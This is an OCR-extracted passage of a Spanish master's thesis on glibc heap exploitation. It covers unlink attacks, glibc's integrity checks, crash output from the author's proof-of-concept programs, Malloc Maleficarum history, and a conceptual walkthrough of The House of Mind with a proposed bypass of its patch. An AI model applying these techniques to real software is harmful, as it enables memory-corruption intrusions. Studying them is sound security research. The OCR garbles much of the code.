Se comprueba si el fragmento de memoria pertenece al arena principal a partir
de la macro chunk_non_main_arena (), definida como:

/+ size field is or’ed with NON_MAIN_ARENA if the chunk was obtained
from a non—-main arena. This is only set immediately before handing
the chunk to the user, 1if necessary. */

#define NON_MAIN_ARENA 0x4

/* check for chunk from non-main arena */
##define chunk_non_main_arena (p) ((p)->size & NON_MAIN_ARENA)

Cédigo 36. Macro chunk non main_arena()

Como se puede ver, la macro devolvera un valor diferente a uno si el campo size
del fragmento de memoria tiene el bit NON_MAIN_ARENA a 1.
Tal y como ya se ha dicho, si el campo size contiene un -4, el bit NON_MATIN_ARENA,
que en binario es 0100, estarda a uno con lo que la condicién serd positiva y se
ejecutard la macro heap_for_ptr () en vez de devolver la direccién del arena
principal tal y como deberia ocurrir.
Acto seguido, cuando se obtiene el puntero al arena a través de dicha macro, se
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intenta obtener el campo size, pero debido a que dicho puntero no es correcto, se
acaba incurriendo en una violacién de segmento.

La tunica explicacion légica a este error publicado en los articulos citados es que
en la época en la que se publicaron el algoritmo ptmalloc no implementaba el uso
de diferentes arenas sino que siempre operaba sobre el mismo arena. Evidentemente,
con la introduccién del uso de més de un arena la técnica se volvié obsoleta tal y
como se demuestra con el Cédigo [37]

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ gdb —-gq
pof_without_null bytes

Leyendo simbolos desde /home/newlog/Documents/TFM/Heap/heap exploiting/codes/unlink/
ptmalloc2_test/pof without_null bytes...hecho.

(gdb) r

Starting program: /home/newlog/Documents/TFM/Heap/heap exploiting/codes/unlink/
ptmalloc2_test/pof without_null_bytes

Program received signal SIGSEGV, Segmentation fault.
0x0013087e in free (mem=0x804b210) at malloc.c:3405
3405 ar_ptr = arena_for_chunk (p);

(gdb) x/3x 0x804b208

0x804b208: 0x40404041 Oxfffffffc 0x08049f10

(gdb)

Codigo 37. Ejecucion con el campo size a -4

Como se puede ver, el puntero mem apunta a la direccion 0x804b210. Si a di-
cha direccion se le restan 8 bytes se obtiene la direccién del fragmento de memo-
ria p@ Como se puede ver, el campo prev_size del fragmento contiene el valor
0x40404041, que se ha sobrescrito con el desbordameinto, y el campo size contiene
el valor Oxffffftfc, -4. Debido a lo explicado, este valor hace que el programa termine
al ejecutar la macro arena_for_chunk.

25E] valor del puntero p ha sido obtimizado por gdb, por esta razén no se obtiene su contenido
con x/3x p.
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4. Explotando el algoritmo implementado en la
GLIBC

Actualmente, las técnicas detalladas en los apartados anteriores estan obsoletas.
Aunque el algoritmo que se usa sea el mismo, en la implementacién existente en la
glibc se han anadido muchas modificaciones con el objetivo de asegurar la integridad
de las estructuras de datos de modo que la explotacion del algoritmo se ha vuelto
significativamente més compleja.

Para mostrar las nuevas medidas de seguridad implementadas en la glibc, a con-
tinuacién se ejecutan las pruebas de concepto detalladas en los apartados anteriores.

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./
pof_without_null bytes

*** glibc detected *** ./pof without_null _bytes: free(): invalid next size (normal): 0
x09515008 **x

======= Backtrace: =========

/1lib/libc.so.6 (+0x6c501) [0x202501]

/1lib/libc.so.6 (+0x6dd70) [0x203d70]

/lib/libc.so.6 (cfree+0x6d) [0x206e5d]

./pof_without_null bytes[0x8048703]

/lib/libc.so.6(___libc_start_main+0xe7) [Oxlacce7]

./pof_without_null bytes[0x8048521]

00194000-00195000 r—xp 00000000 00:00 O [vdso]
00196000-002ed000 r—-xp 00000000 08:01 655498 /1lib/libec-2.12.1.s0
002ed000-002ee000 ——-p 00157000 08:01 655498 /1ib/libec-2.12.1.s0
002ee000-002£f0000 r——p 00157000 08:01 655498 /1lib/libec-2.12.1.s0
002£0000-002£f1000 rw—p 00159000 08:01 655498 /1ib/libec-2.12.1.s0
002£1000-002£4000 rw-p 00000000 00:00 O
00b24000-00b3e000 r—-xp 00000000 08:01 655532 /1lib/libgcc_s.so.1
00b3e000-00b3£000 r——p 00019000 08:01 655532 /1ib/libgecc_s.so.1
00b3£000-00b40000 rw—p 0001a000 08:01 655532 /1lib/libgcec_s.so.1
00eed000-00£09000 r—-xp 00000000 08:01 655474 /1ib/1d-2.12.1.s0
00£09000-00£0a000 r——p 0001b000 08:01 655474 /1ib/1d-2.12.1.s0
00£0a000-00£0b000 rw—p 0001c000 08:01 655474 /1ib/1d-2.12.1.s0
08048000-08049000 r—xp 00000000 08:01 923982 /home/newlog/Documents/TFM/Heap/
heap_exploiting/codes/unlink/ptmalloc2_test/pof without_null_bytes
08049000-0804a000 —w-p 00000000 08:01 923982 /home/newlog/Documents/TFM/Heap/
heap_exploiting/codes/unlink/ptmalloc2_test/pof_without_null bytes
0804a000-0804b000 rw-p 00001000 08:01 923982 /home/newlog/Documents/TFM/Heap/

heap_exploiting/codes/unlink/ptmalloc2_test/pof_without_null bytes
09515000-09516000 rw—p 00000000 00:00 O
09516000-09517000 —wxp 00000000 00:00
09517000-09537000 rw-p 00000000 00:00
b7700000-b7721000 rw—p 00000000 00:00
b7721000-b7800000 ——-p 00000000 00:00
b785£000-b7860000 rw—p 00000000 00:00
b786d000-b786£000 rw—p 00000000 00:00
b£fd25000-b£fd46000 rw-p 00000000 00:00
Abortado
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$

O O O0OOo0OOoOOoOo

[stack]

Cédigo 38. Ejecucion de la prueba de concepto sin bytes nulos
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En el Cédigo[38]se ejecuta la primera prueba de concepto en la que no se utilizaban
bytes nulos. Como se puede ver el codigo fuente de la glibc implementa una nueva
medida de seguridad por la que el tamano del siguiente fragmento de memoria al que
se va a liberar no es correcto. Esta nueva comprobacién se ha anadido en la linea

4306 del archivo malloc.d”®, El Cédigo [39 muestra dicha comprobacién.

if (_ _builtin_expect (nextchunk->size <= 2 x SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))

errstr = "free(): invalid next size (normal)";
goto errout;

}

Cédigo 39. Comprobaciéon del tamano del siguiente fragmento (malloc.c:4306)

En este caso, el tamano del siguiente fragmento es mayor a av->system_mem,
por esta razon la prueba de concepto no funciona correctamente.

Por otro lado, si se ejecuta la prueba de concepto en la que no existian bytes
nulos se obtiene el siguiente resultado.

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./
pof_null bytes

*x* glibc detected *** ./pof null bytes: double free or corruption (!prev): 0x09748008
%* % %

======= Backtrace: =========

/lib/libc.so.6 (+0x6c501) [0x2ae501]

/1lib/libc.so.6 (+0x6dd70) [0x2afd70]

/lib/libc.so.6 (cfree+0x6d) [0x2b2e5d]

./pof_null bytes[0x8048703]

/lib/libc.so.6(__libc_start_main+0xe7) [0x258ce7]

./pof_null bytes[0x8048521]

======= Memory map: ========

00110000-0012a000 r—xp 00000000 08:01 655532 /1lib/libgcc_s.so.1l

0012a000-0012b000 r——-p 00019000 08:01 655532 /1lib/libgcc_s.so.1

0012b000-0012c000 rw—-p 0001a000 08:01 655532 /1ib/libgecc_s.so.1

00242000-00399000 r—-xp 00000000 08:01 655498 /1ib/libec-2.12.1.s0

00399000-0039a000 —--p 00157000 08:01 655498 /1lib/libc-2.12.1.s0

0039a000-0039c000 r——p 00157000 08:01 655498 /1ib/libc-2.12.1.s0

0039c000-0039d000 rw—p 00159000 08:01 655498 /1lib/libec-2.12.1.s0

0039d000-003a0000 rw—p 00000000 00:00 O

0049b000-0049c000 r-xp 00000000 00:00 O [vdso]

006£7000-00713000 r—xp 00000000 08:01 655474 /1lib/1d-2.12.1.s0

00713000-00714000 r——-p 0001b000 08:01 655474 /1ib/1d-2.12.1.s0

00714000-00715000 rw—p 0001c000 08:01 655474 /1ib/1d-2.12.1.s0

08048000-08049000 r—-xp 00000000 08:01 924051 /home/newlog/Documents/TFM/Heap/
heap_exploiting/codes/unlink/ptmalloc2_test/pof null_bytes

08049000-0804a000 -w-p 00000000 08:01 924051 /home/newlog/Documents/TFM/Heap/
heap_exploiting/codes/unlink/ptmalloc2_test/pof null_bytes

0804a000-0804b000 rw—p 00001000 08:01 924051 /home/newlog/Documents/TFM/Heap/

heap_exploiting/codes/unlink/ptmalloc2_test/pof null_bytes
09748000-09749000 rw-p 00000000 00:00 O

26 A partir de ahora y hasta que se especifique lo contrario, todas las referencias al cédigo fuente
son a los archivos encargados de la gestion de la memoria dinamica de la glibc 2.3.5.

29




-

[ I o ™

09749000-0974a000 -wxp 00000000 00:00
0974a000-0976a000 rw—p 00000000 00:00
b7700000-b7721000 rw-p 00000000 00:00
b7721000-b7800000 ——-p 00000000 00:00
b78dd000-b78de000 rw—p 00000000 00:00
b78eb000-b78ed000 rw—p 00000000 00:00
bfbac000-bfbcd000 rw—p 00000000 00:00
Abortado

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$

O O0OO0OO0OOoOOoo

[stack]

Cédigo 40. Ejecucion de la prueba de concepto con bytes nulos

En este caso, se comprueba la integridad de las estructuras de datos y, a tal efecto,
se comprueba si el siguiente fragmento a liberar tiene el bit PREV_INUSE a 0. De
ser asi, evidentemente se han corrompido las estructuras ya que dicho bit deberia
estar a 1 debido a que el fragmento a liberar - el anterior al de esta comprobacion -
estd en uso. esta comprobaciéon se ha anadido en la linea 4299 del archivo malloc.c
tal y como se muestra en el Cédigo [41]

/* Or whether the block is actually not marked used. */
if (__builtin expect (!prev_inuse (nextchunk), 0))
{
errstr = "double free or corruption (!prev)";
goto errout;

}

Cédigo 41. Comprobacién del prev_inuse siguiente fragmento (malloc.c:4299)

Si se conoce el funcionamiento del algoritmo, la evasién de las medidas de segu-

ridad que se han mostrado es trivial, sin embargo, existe otra medida de seguridad
implementada directamente en la macro unlink que hace que el proceso de desenla-
zado de un fragmento de memoria sea mucho mas robusto.
El Cédigo |42 muestra la ejecucion de una nueva prueba de concepto que implementa
un payload diferente. En este caso, en vez de utilizar un offset negativo para situar el
fragmento de memoria falso, se ha utilizado un offset positivo de modo que se evadan
las medidas de seguridad mostradas. Si el lector ha entendido todos los conceptos
explicados hasta el momento, no tendra ningiin problema para desarrollar él mismo
dicha prueba de concepto.

newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$ ./
pof_positive_offset

*** glibc detected **x ./pof positive offset: corrupted double-linked list: 0x088c4208
%* % %

======= Backtrace: =========

/1lib/libc.so.6 (+0x6c501) [0xb50501]

/1lib/libc.so.6 (+0x6de33) [0xb51e33]

/lib/libc.so.6 (cfree+0x6d) [0xb54e5d]

./pof_positive_offset [0x8048739]

/lib/libc.so.6(___libc_start_main+0xe7) [Oxaface7]

./pof_positive_offset [0x8048521]

======= Memory map: ========

00839000-0083a000 r—xp 00000000 00:00 O [vdso]
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00a74000-00a8e000 r—xp 00000000 08:01 655532 /1lib/libgcc_s.so.1l
00a8e000-00a8£000 r—-p 00019000 08:01 655532 /1lib/libgcc_s.so.1
00a8£000-00a90000 rw-p 0001a000 08:01 655532 /1ib/libgecc_s.so.1
002e4000-00c3b000 r—xp 00000000 08:01 655498 /1ib/libec-2.12.1.s0
00c3b000-00c3c000 ———p 00157000 08:01 655498 /1lib/libc-2.12.1.s0
00c3c000-00c3e000 r——p 00157000 08:01 655498 /1lib/1libec-2.12.1.s0
00c3e000-00c3£f000 rw—p 00159000 08:01 655498 /1lib/libec-2.12.1.s0

00c3£000-00c42000 rw—-p 00000000 00:00 O

00£29000-00£45000 r—xp 00000000 08:01 655474 /1ib/1d-2.12.1.so0
00£45000-00£46000 r—-p 0001b000 08:01 655474 /1ib/1d-2.12.1.so0
00£46000-00£47000 rw-p 0001c000 08:01 655474 /1ib/1d-2.12.1.so0
08048000-08049000 r—xp 00000000 08:01 923969 /home/newlog/Documents/TFM/Heap/

heap_exploiting/codes/unlink/ptmalloc2_test/pof_ positive_ offset
08049000-0804a000 -w-p 00000000 08:01 923969 /home/newlog/Documents/TFM/Heap/

heap_exploiting/codes/unlink/ptmalloc2_test/pof_positive_offset
0804a000-0804b000 rw-p 00001000 08:01 923969 /home/newlog/Documents/TFM/Heap/

heap_exploiting/codes/unlink/ptmalloc2_test/pof positive offset
088c4000-088c5000 rw—p 00000000 00:00 O
088c5000-088c6000 —wxp 00000000 00:00
088c6000-088e5000 rw—p 00000000 00:00
b7600000-b7621000 rw—p 00000000 00:00
b7621000-b7700000 ———p 00000000 00:00
b7712000-b7713000 rw—p 00000000 00:00
b7720000-b7722000 rw-p 00000000 00:00
bfccd000-bfcee000 rw—p 00000000 00:00
Abortado
newlog@ubuntu: ~/Documents/TFM/Heap/heap_exploiting/codes/unlink/ptmalloc2_test$

O oO0OoOooooo

[stack]

Cédigo 42. Ejecucion de la prueba de concepto con offset positivo

De nuevo, se produce un error. Pero este error se debe a una comprobacion que
parece que soluciona todos los problemas que introduce la macro unlink. E1 Codigo
muestra dicha comprobacion.

[

/+ Take a chunk off a bin list x*/
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#define unlink (P, BK, FD) { \
FD = P->fd; \
BK = P->Dbk; \
if (_ builtin_expect (FD->bk != P || BK->fd != P, 0)) \

malloc_printerr (check_action, "corrupted double-linked 1list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
} \

}

Cédigo 43.  Comprobacién en la macro unlink (malloc.c:1986)

Esta comprobacién es tan compleja de evadir porque comprueba la integridad
de los fragmentos de memoria involucrados en el proceso de unlink y comprueba la
integridad de los punteros que se sobrescriben para realizar la explotacion.

Para entender esta comprobacion basta con volver a estudiar la Figura [5[de la pagina
B4 En dicha figura es el fragmento 3 el que se va a desenlazar con la macro unlink.
Si se siguen los punteros, se podra comprobar como las condiciones de la linea 5 del
Codigo [43| no se cumplen ya que FD->bk y BK—>fd apuntan a P. En la Figura[p| se
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cumplen dichos pardmetros ya que el campo bk del fragmento 6 y el campo f£d del
fragmento 1 apuntan al fragmento 3, o sea, lo que seria P.

En cambio, si se intenta explotar el algoritmo tal y como se ha explicado en los
apartados anteriores, el campo £d del fragmento P apuntaria a la seccién .dtors con
lo que P—>fd->bk, o sea, FD—>bk no apuntaria a P y, por otro lado, el campo bk
del fragmento P apuntaria al shellcode con lo que BK—>fd no apuntaria a P.

Podria existir un modo de evadir esta medida de seguridad, sin embargo, posi-
blemente solo podria ser una prueba de concepto ya que no seria posible extrapolar
dicha técnica a un exploit real. Este tema se trata con mas énfasis en el capitulo 5.2
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4.1. Malloc Maleficarum

El texto Malloc Maleficarum|[26] se escribié con el propésito de evadir las nuevas
medidas de seguridad que se habian implantado en la glibc para evitar la explotacién
del algoritmo a través de las vulnerabilidades explicadas en los apartados anteriores
y otras vulnerabilidades que no se han detallado.

La grandeza de este texto reside en que a finales del 2004 la glibc fue mejorada de
tal manera que el cédigo parecia inexpugnable. Los desarrolladores habian corregido
cada una de las vulnerabilidades del algoritmo, de modo que todos los exploits que
se basaban en la explotacién del heap se volvieron obsoletos. Parecia que la gestion
de memoria dindmica en sistemas Linux volvia a ser segura. Sin embargo, la felicidad
de los desarrolladores duré apenas un ano, pues a finales de 2005 Phantasmal Phan-
tasmagoria publicaba un texto en el que teorizaba sobre no uno, sino cinco métodos
para explotar el heap.

Aun asi, en el Malloc Maleficarum sélo se asentaban las bases tedricas para vul-
nerar el algoritmo, de modo que en dicho texto no existian pruebas de concepto que
demostraran lo que en ellos se afirmaba. Aun asi, fue el primer atisbo que demostraba
que lo que durante un tiempo parecié imposible, se tornaba posible. Fue entonces
cuando muchos hackers alrededor del mundo empezaron a darle vueltas al texto de
Phantasmal, de este modo en 2007 K-sPecial publicé The House of Mind|14] en el ezi-
ne .aware. En dicho texto, K-sPecial demostraba como uno de los métodos detallados
por Phantasmal era factible y, de paso, corregia alguno de los errores existentes en el
Malloc Maleficarum. Esta vez la prueba de concepto si que fue liberada al publico.

Siguiendo la misma linea, en el 2009 blackngel publico el texto Malloc Des-
Maleficarum [8] en el ezine Phrack. En este texto no sélo se repasaba una de las
técnicas de Phantasmal, sino que se detallaban todas y cada una de modo que en la
medida de lo posible se publicaba la prueba de concepto que demostraba que dicha
técnica era viable o, por el contrario, era demasiado esotérica.

En el Malloc Des-Maleficarum, al igual que en el Malloc Maleficarum, el conjunto
de técnicas estaban identificadas como diferentes casas. The House of Mind, The
House of Prime, The House of Spirit, The House of Force y The House of Lore. La
Tabla 2| muestra la efectividad de cada una tal y como blackngel retratd en el texto
citado.

En el 2009, momento en el que blackangel publico su documento, la version vigente
de la glibc era la 2.8, de modo que tal y como se puede ver, la mayoria de las técnicas
detalladas por Phantasmal todavia funcionaban aun habiendo transcurrido 4 anos
desde la publicacion de su articulo.

Si bien es cierto que la explotacién de alguna de las técnicas presentadas por
Phantasmal requeria un conjunto de precondiciones que hacia que la explotacion
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Técnica Efectividad

The House of Mind glibc 2.8

The House of Prime glibc 2.3.6

The House of Spirit | Todas las versiones de glibc hasta 2009
The House of Force glibc 2.8

The House of Lore Explotacién no probada

Tabla 2. Efectividad de las técnicas del Malloc Maleficarum

del algoritmo en una situacion real fuera poco probable. Por ejemplo, tanto en The
House of Spirit y The House of Force era necesario poder controlar algunos datos
almacenados en el stack, de modo que el atacante tenia que ser capaz de escribir
datos en variables almacenadas en el stack lo que significa que ya no sélo bastaba
con un desbordamiento de bifer en el heap.

Otro dato interesante es que desde el 2009 hasta la fecha actual - finales del 2012
- no ha habido ninguna otra noticia sobre la explotacion del heap. Desde la version
2.8 de la glibc hasta la version actual, la 2.16 no se conoce cual es el estado de cada
una de estas técnicas.
Es por esta razén que en el proximo apartado se detallara cual es el estado de una
de las técnicas més factibles de llevar a cabo en un escenario real’]

2TExploit aprovechando un error en la gestién de un puntero en el heap y utilizando la técnica
house of mind para explotarlo:
https://sites.google.com/site/felipeandresmanzano/popplerPOC.tar.bz2
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4.1.1. The House of Mind

Explicado todo lo anterior, entender esta técnica no supone ninguna dificultad.
Esta es la ventaja de haber recorrido el arduo camino para poder llegar hasta aqui.
Antes de nada, se muestra el codigo vulnerable tal y como estd en la version 2.3.5 de
la glibe.

/ *
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.

*/

bck = unsorted_chunks (av) ;
fwd = bck->fd;

p—>bk = bck;

p—>fd = fwd;

bck->fd = p;

fwd->bk = p;

Cédigo 44. Cbdigo vulnerable para The House of Mind (malloc.c:4338)

En estos momentos, la utilidad de este codigo es irrelevante. Sélo para situarse,
decir que este codigo viene después de ejecutar la macro unlink si el siguiente frag-
mento no esta en uso - la condiciéon !nextinuse de la que tanto se ha hablado.

Esta técnica se basa en ser capaz de controlar el valor que devuelve la macro
unsorted_chunks () una vez se le pasa la variable av que no es mas que un
puntero al arena. Si se controlara el valor del puntero bck es posible que con la
pentltima instruccién bck—>fd = p se pudiera sobrescribir cualquier direccién de
memoria tal y como ocurre con la vulnerabilidad unlink. Evidentemente, como con
la vulnerabilidad unlink, debe existir un desbordamiento de bufer que permita so-
brescribir el valor del campo prev_size @ del fragmento de memoria p. De este
modo, controlando bck—>fd y el contenido de la direccion del puntero p se podran
escribir 4 bytes en cualquier direccion de memoria.

Como se puede deducir, esta técnica tiene, como minimo, las mismas precondiciones
que la vulnerabilidad unlink, sin embargo, aun queda el hecho de que se debe tener
el control sobre lo que devuelve la macro unsorted_chunks ().

El Cédigo [45| muestra la definicién de la macro unsorted_chunks (). Aunque
tampoco es necesario, se muestra cual es el uso de los unsorted chunks tal y como
estd comentado en el cédigo fuente.

28Debido a que el campo prev_size es el primer campo de un fragmento de memoria.

65




10
11
12
13
14
15
16

/%

Unsorted chunks

All remainders from chunk splits, as well as all returned chunks,

are first placed in the "unsorted" bin. They are then placed

in regular bins after malloc gives them ONE chance to be used
before

binning. So, basically, the unsorted chunks 1list acts as a queue,

with chunks being placed on it in free (and malloc_consolidate),

and taken off (to be either used or placed in bins) in malloc.

The NON_MAIN_ARENA flag is never set for unsorted chunks, so it
does not have to be taken into account in size comparisons.

*/

/* The otherwise unindexable 1-bin is used to hold unsorted chunks. x/
#define unsorted_chunks (M) (bin_at (M, 1))

Cédigo 45. Macro unsorted_chunks() (malloc.c:2052)

La macro unsorted_chunks () no hace més que llamar a la macro bin_at ()
pasandole al array de bins un 1. La definicién de dicha macro esta en el Cédigo

/+ addressing ——- note that bin_at (0) does not exist #*/
#define bin_at (m, i) ((mbinptr) ((charx)é& ((m)->bins[ (i)<<1]) - (SIZE_SZ
<<1)))

Cédigo 46. Macro bin_at() (malloc.c:1973)

Reemplazando los parametros y las constantes se obtiene que la macro bin_at ()
devuelve lo siguiente:

(& ((av)—>bins[(1)<<1l]) - (4<<1)) ==> & (av—>bins[2]) - 8

Cédigo 47. Macro bin_at() reemplazada

Cabe destacar que en versiones méas recientes de la glibc dicha macro se ve mo-
dificada de modo que si se le pasa un 1 a la macro bin_at lo que se devuelve es la
posicién 0 del array de bins y no la 2, debido a que la macro estd definida tal que
asi:

#idefine bin_at (m, i) \
(mbinptr) (((char %) & ((m)->bins[((i) - 1) % 2]))
\
— offsetof (struct malloc_chunk, £fd))

Cédigo 48. Nueva macro bin_at()
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Con la macro definida de este modo, lo que se dice en los textos [26] y [8] con-
cuerda. Sin embargo, esto es irrelevante para entender como funciona la técnica y
qué se ha hecho en las nuevas versiones de la glibc.

La macro unsorted_chunks () devuelve la direcciéon de av->bins [2] menos
8 bytes. Volviendo a la definicién del arena, Cédigo[0}, el array de bins estd en un offset
de ”x” bytes. El valor exacto no es necesario ahora mismo. Si el atacante fuera capaz
de controlar el contenido de la direccién av->bins[2] menos 8 bytes seria capaz
de controlar el valor del puntero bck al volver de la macro unsorted_chunks ()
y escribir en la direccién contenida por el campo prev_size del fragmento p,
presumiblemente la seccién .dtors después del desbordamiento.

Sin embargo, para poder conseguir esto, se hace evidente que se debe controlar
el contenido del arena, o sea, la variable av que ha entrado en juego durante to-
da la explicacién. Evidentemente, si se controlara el contenido del arena se podria
controlar el valor que se encuentra en la direccion av—>bins [2] menos 8 bytes. Pe-
ro, evidentemente, a simple vista parece imposible controlar el contenido del arena.
Sin embargo, en el Cédigo [35| de la pagina |56 ya se ha topado con un método para
conseguir dicho objetivo.

Lo que antes era un problema, ahora se convierte en el vector de ataque. A di-
ferencia de la técnica unlink, en vez de crear un fragmento de memoria falso, se
va a crear un arena falso. Y para ello, se va aprovechar la capacidad de no uti-
lizar el main_arena, sino que se buscarda un nuevo arena a partir de la macro
heap_for_ptr (). El Cédigo [49] define la macro heap_for_ptr ().

#define heap_for_ ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~ (HEAP_MAX SIZE-1)))

Cédigo 49. Macro heap_for_ptr() (arena.c:104)

El valor de HEAP_ MAX_SIZE es de 1024 * 1024, que en binario es 1000000000000-

00000000, por tanto si se le resta 1 se obtiene 11111111111111111111, que negado
son 20 ceros. Por tanto, lo que hace la macro heap_for_ptr () es poner a 0 los
ultimos 20 bits - los de menos peso - de la direccién del puntero ptr. El arena de
dicho fragmento de memoria en realidad serd la misma direcciéon devuelta por la
macro heap_for_ptr ya que en la estructura heap_info, Cdédigo |4, la primera
variable de la estructura es el arena.
Poniendo un ejemplo, si el fragmento de memoria para el que se quiere saber su arena,
esta ubicado en la direccion 0x0804b208, su arena estara en la direccién 0x08000000.
Evidentemente, para que se busque el arena en vez de utilizar el arena principal,
el fragmento de memoria debe tener el bit NON_MAIN_ARENA a 1, tal y como se
explica en la pagina [56]
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Ahora que todo esta explicado falta saber cual es la pieza que lo encaja todo.
La clave de todo esto es entender que los primeroﬂ fragmentos de memoria en
un sistema sin ASLR estaran ubicados en direcciones del estilo 0x080xxxxx y si de
este fragmento se buscara su arena siempre se obtendrian direcciones de memoria
inferiores, con lo que seria imposible sobrescribir los datos del arena a través de
un desbordamiento de brfer. Sin embargo, si fuera posible tener un fragmento de
memoria en direcciones del estilo 0x081xxxxx, se obtendria que su arena estaria en
la direccion 0x08100000 con lo que a través de un desbordamiento en el fragmento de
memoria situado en 0x080xxxxx se podrian sobrescribir los datos del arena situado
en 0x08100000.

He aqui el nuevo requisito de esta técnica. Por un lado se necesitan dos fragmentos
de memoria igual que con unlink, sin embargo, ahora uno de ellos debe estar ubicado
en una direccion del estilo 0x081xxxxx.

La Figura [12| muestra un grafico para retratar la idea general de esta técnica.

[ - @DTORS aee - Pl aee JMP OXC SHELLCODE )
OXOBOXXXXX 0x08100000 OXO8IXXXXX
L Arena falso |
I 1
PRIMER SEGUNDO EJEcucion

DE HOUSE OF
MIND

HEAP_INFO

FREE() FREE()

Figura 12. Idea general sobre la técnica House of Mind

Por un lado se tiene que el primer fragmento de memoria sera el que se utili-
zara como falso arena. A continuacién se sobrescribiran los siguientes fragmentos de
memoria hasta llegar a la direcciéon 0x08100000 donde el primer valor sera la direc-
cién al primer fragmento pl. De este modo, cuando se libere el segundo fragmento
situado en una direccién de memoria del estilo 0x081xxxxx se obtendra’lﬂ que el pun-
tero a su arena esta en la direccion 0x08100000 donde se encuentra la direccion a pl
con lo que se engana al algoritmo de modo que piense que el contenido del arena es
el contenido del primer fragmento de memoria. Por tanto, se obtiene que con la ins-
truccion bck = unsorted_chunks (av), bck apunta a pl, el primer fragmento.
A continuacién se ejecuta la instruccion bck->fd = p. bck->fd apunta a la sec-
cion .dtors, por lo que al ejecutarse esta instruccion la seccion .dtors serd sobrescrita
por la direccién a p, que debido a que se estd ejecutando el segundo free (), p

29Los primeros biifers para los que un programa pide espacio.
30V{a la macro heap_for_ptr()
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apunta al fragmento de memoria situado en la direccién 0x081xxxxx.

Una vez el programa finalice, se ejecutaran las instrucciones ubicadas en la direc-
cion 0x081xxxxx tal y como ocurria con la vulnerabilidad del unlink, con lo que se
ejecutard el Jmp 12 y luego el shellcode.

Destacar que hay decenas de requisitos que no se han comentado en esta ex-
plicacion. El uso del bit NON_MAIN_ARENA, los offsets exactos donde ubicar las
direcciones con las que se trabaja, la direccién exacta en la seccion .dtors y muchos
otros detalles. Sélo se queria mostrar al lector cémo funciona esta técnica para mos-
trarle como los desarrolladores de la glibc han solucionado la vulnerabilidad. Ademas,
al ser la técnica publica més avanzada para explotar el heap, nos permitira realizar
ciertas reflexiones sobre cémo continuar investigando las vulnerabilidades en la ges-
tién de la memoria dinamica.

Para obtener todos los detalles necesarios para escribir una prueba de concepto uti-
lizando esta técnica basta con leer los articulos citados en [26], [14] o [8].

4.1.2. Patch a la técnica The House of Mind

Por desgracia, no todo lo bueno dura. En la version 2.11 de la glibc se corrigid esta
vulnerabilidad. Aun cuando la técnica de The House of Mind era tan compleja, los
desarrolladores de la glibc encontraron una solucién elegante al problema. El Cédigo
B0 la muestra.

bck = unsorted_chunks (av) ;
fwd = bck->fd;
if (__builtin_expect (fwd->bk != bck, 0))
{
errstr = "malloc(): corrupted unsorted chunks";

goto errout;

Cédigo 50. Patch a The House of Mind

Como se puede ver, la condicién comprueba la integridad de la lista doblemente
enlazada de unsorted chunks de un modo parecido a como ocurria con la solucién
para la vulnerabilidad unlink. Evidentemente, al llevar a cabo The House of Mind la
lista de unsorted chunks no estd como deberia con lo que la condicién es verdadera
y, por tanto, no se ejecuta la sobrescritura.

Sin embargo, se deberia realizar un estudio a fondo para contrastar si esta medida
de seguridad realmente evita la ejecucién de la técnica The House of Mind. Partien-
do de la base que la direccion del puntero bck y el contenido a donde apunta lo
puede controlar el atacante, se hace evidente que se puede controlar la direccién de
bck—->fd, o sea, fwd. Sabiendo que bck apunta al primer fragmento de memoria,
bck—->fd, apunta a la direccién contenida en primer fragmento de memoria mas 8
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bytes. Para no cumplir la condicién, la direcciéon contenida donde apunta fwd maés
12 bytes deberia ser igual a bck, o sea, igual a la direccién del primer fragmento de
memoria.

Un esquema grafico para evadir esta medida de seguridad se retrata en la Figura
13l En bck—>fd se ha elegido poner la direccién del segundo fragmento de memoria
simplemente porque es una regién de memoria de la que se pueden controlar sus
contenidos. Se podria haber elegido cualquier otra direcciéon de la que se pudiera
controlar los datos que contiene.

T

P2

Pl 112 bytes
[ 500 @P2 | «-- |eDTORS | --- _-- @BCK . @P1 aen JMP OXC SHELLCODE )
OXOBOXXXXX 0x08100000 OXOBIXXXXX
l Arena falso 18 bytes |
[ I 1
PRIMER SEGUNDO EJEcucion

DE HOUSE OF
MIND

HEAP_INFO

FREE() FREE()

Figura 13. Evasién del patch

El problema viene con que el primer fragmento de memoria simula una estructura
arena. Si en dicha estructura, ahi donde se debe escribir la direccién hacia la region
de memoria que el atacante controla, o sea si en bck—>fd hay datos relevantes para
llevar a cabo la técnica de The House of Mind, esta evasion no se podria levar a cabo.

Sin embargo, cogiendo la estructura arena en la version de la glibc 2.3.5 o la

2.12.1, si la constante THREAD_STATS estuviera definida, en la direccién bck—->fd
se sobrescribiria el valor de una de las variables para llevar a cabo calculos estadisti-
cos stat_lock_loop o stat_lock_direct, respectivamente. Por lo tanto no
tendria que haber ningtin problema para evadir esta medida de seguridad.
Si la constante THREAD_STATS no estuviera definida, se sobrescribiria el array de
fastbins que, teniendo en cuenta que con esta técnica no se utiliza para nada, no
ocasionaria ningin problema y, por tanto, también tendria que permitir la evasién
de la medida de seguridad.
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5. Reflexiones

5.1. Sobre Malloc Maleficarum

Las técnicas retratadas en el Malloc Maleficarum, aun habiéndose publicado en
el 2005, son los métodos més actuales para vulnerar la seguridad de la gestion de
la memoria dindamica en sistemas Linux a nivel de usuario. Desde el 2005 hasta el
2009 estas técnicas se han ido refinando hasta hacerlas funcionales en la medida de
lo posible. Aun asi, a dia de hoy parece que estas técnicas no estan presentes en el
repertorio de los hackers cuando se tiene la posibilidad de desbordar bifers en el
heap. A riesgo de cometer un error, parece ser que los exploits publicos utilizando
esta técnica son mas bien escasos, es mas, sélo he sido capaz de encontrar un ezxploit
que utilizara esta técnica, tal y como he citado en el apartado correspondiente.

